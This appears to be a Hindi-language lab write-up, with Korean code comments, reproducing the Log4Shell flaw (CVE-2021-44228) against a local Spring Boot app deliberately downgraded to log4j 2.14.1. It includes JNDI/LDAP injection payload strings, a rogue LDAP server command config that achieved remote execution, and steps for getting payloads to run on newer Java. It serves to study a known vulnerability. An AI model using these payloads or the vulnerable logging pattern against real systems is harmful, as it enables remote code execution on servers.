
Log4j2 LDAP भेद्यता परीक्षण (CVE-2021-44228)
🎈 Spring Boot 2.x वातावरण में परीक्षण किया गया
pom.xml : Log4j2 संस्करण को भेद्य संस्करण में घटाया गया
<properties>
<java.version>17</java.version>
<!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController : उपयोगकर्ता के इनपुट को सीधे प्राप्त करके लॉग करने वाली कंट्रोलर विधि जोड़ी गई
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "예외 발생 X");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
}
return "redirect:/";
}
ब्राउज़र में चलाएँ

वास्तव में ${jndi:ldap://127.0.0.1:19090/run} स्ट्रिंग को सर्वर पर भेजने पर, सर्वर 127.0.0.1:19090 से कनेक्ट करने का प्रयास करता है।
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
चूँकि लोकल 19090 पोर्ट पर LDAP सर्वर चालू नहीं था, इसलिए Connection refused: connect अपवाद के साथ एरर लॉग दर्ज हुआ।
LOGGER.info("{}", ldapString); कोड में JNDI एरर अपवाद नहीं फेंका गया।
https://github.com/veracode-research/rogue-jndi इस कोड से केवल Tomcat से संबंधित भाग की जाँच की गई और इसे एक सरल Spring Boot प्रोजेक्ट के रूप में तैयार किया गया।
केवल Tomcat संबंधित भाग की जाँच करने का कारण...
चूँकि लक्षित टेस्ट सर्वर Spring Boot के अंतर्निहित Tomcat पर आधारित है, इसलिए केवल Tomcat की जाँच करके भी भेद्यता के व्यवहार की पुष्टि हो सकती है, ऐसा मानकर यह तरीका अपनाया गया।
कमांड की तैयारी
केवल साधारण कैलकुलेटर चलाना बहुत ही सरल लगा, इसलिए cmd कमांड को जोड़कर देखा।
ldapserver-config.properties
# 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
वास्तव में प्रयास करने पर टेस्ट टारगेट सर्वर पर रिमोट एक्ज़ीक्यूशन सचमुच संभव हुआ। सत्यापन का तरीका नीचे दिया गया है।
ldap-server सर्वर, traget-server चलाएँ
# LDAP 서버 실행
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# 테스트 타겟 서버 실행
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
टेस्ट टारगेट सर्वर पर ${jndi:ldap://127.0.0.1:19090/o=tomcat} स्ट्रिंग भेजकर सत्यापन करें

target-server प्रोजेक्ट की रूट में test.txt फ़ाइल बनाई गई और नोटपैड के माध्यम से चलाई गई।
टारगेट Tomcat को भेजे जाने वाले Payload के निर्माण में Java की JavaScript इम्प्लीमेंटेशन Nashorn का उपयोग किया जाता है, लेकिन Java 15 से Nashorn को पूरी तरह हटा दिया गया। इसलिए ldap सर्वर टारगेट Tomcat को कमांड भेज देता था, लेकिन कमांड निष्पादित नहीं होने की समस्या थी।
ऐसे में.. टारगेट Tomcat सर्वर में nashorn-core या rhino-engine में से किसी एक को ही लाइब्रेरी के रूप में जोड़ना पर्याप्त था।
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
वर्जन प्रबंधन आसान बनाने के लिए pom.xml को पैरेंट-चाइल्ड संबंध में संशोधित किया गया है, इसे निम्नानुसार पैरेंट pom वाली डायरेक्टरी से चलाया जा सकता है।
# 전체 테스트
$ mvnw clean test
# 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐아한다.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
$ cd target-server
$ mvnw clean spring-boot:run
यह सॉफ़्टवेयर केवल शैक्षिक उद्देश्यों और/या उन सिस्टमों के परीक्षण के लिए प्रदान किया जाता है जिन पर उपयोगकर्ता ने पहले से हमले की अनुमति दी हो।
(rogue-jndi में भी यह वाक्य जोड़ा गया था, इसलिए यहाँ भी जोड़ दिया। 😓)